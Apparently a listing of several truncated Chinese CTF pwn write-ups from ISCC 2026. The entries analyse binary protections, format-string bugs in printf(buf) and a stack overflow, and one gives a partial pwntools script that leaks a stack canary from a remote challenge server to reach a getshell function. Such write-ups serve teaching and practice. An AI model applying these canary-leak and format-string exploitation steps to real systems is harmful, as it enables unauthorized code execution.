附件是一个 32 位 ELF: $ file attachment-9 attachment-9: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped $ checksec --file=attachment-9 Partial RELRO No canary found NX enabled No PIE 1. main 里的格式化字符串 read(0, buf, 0x20); printf(buf); if (target_val == 5) { vuln(); } 这里存在: printf(buf) 格式化字符串漏洞 全局变量...

一个简单的canary绕过 利用格式化字符串把canary拿出来 from pwn import * context(os="linux", arch="i386", log_level="debug") elf = ELF("./attachment-5") io = remote('39.96.193.120',10018) getshell = elf.symbols["getshell"] log.success(f"getshell = {hex(getshell)}") io.recvuntil(b"Hello Hacker!\n") # 第一次输入:泄露 canary io.send(b"%31$p.END\x00")...

ISCC 2026 pwn WP 1. 基本信息 file attachment-35 # ELF 64-bit PIE checksec: # Arch: amd64 # RELRO: Full RELRO # Canary: enabled # NX: enabled # PIE: enabled libc: glibc 2.31 保护全开,不能改 GOT,主要走堆利用。 2. 结构体还原 程序维护一个全局学生数组: student *list[7]; int cnt; int role; // 0 teacher, 1 student 外层结构: struct student { struct info *info; //...

题目信息 目标地址:39.96.193.120:33334 程序保护: Arch: amd64 RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE 漏洞分析 这题一共有三处关键点: customer ID 处存在格式化字符串漏洞 printf("Welcome, "); printf(id_buf); 因此可以直接泄露栈上和内存中的内容。 数量检查只比较了低 8 位 程序读入数量后,实际比较的是 al 是否小于等于 3,所以像 256、512 这类低字节为 0 的值都能绕过限制。 商品名输入处存在栈溢出 char product[0x100];...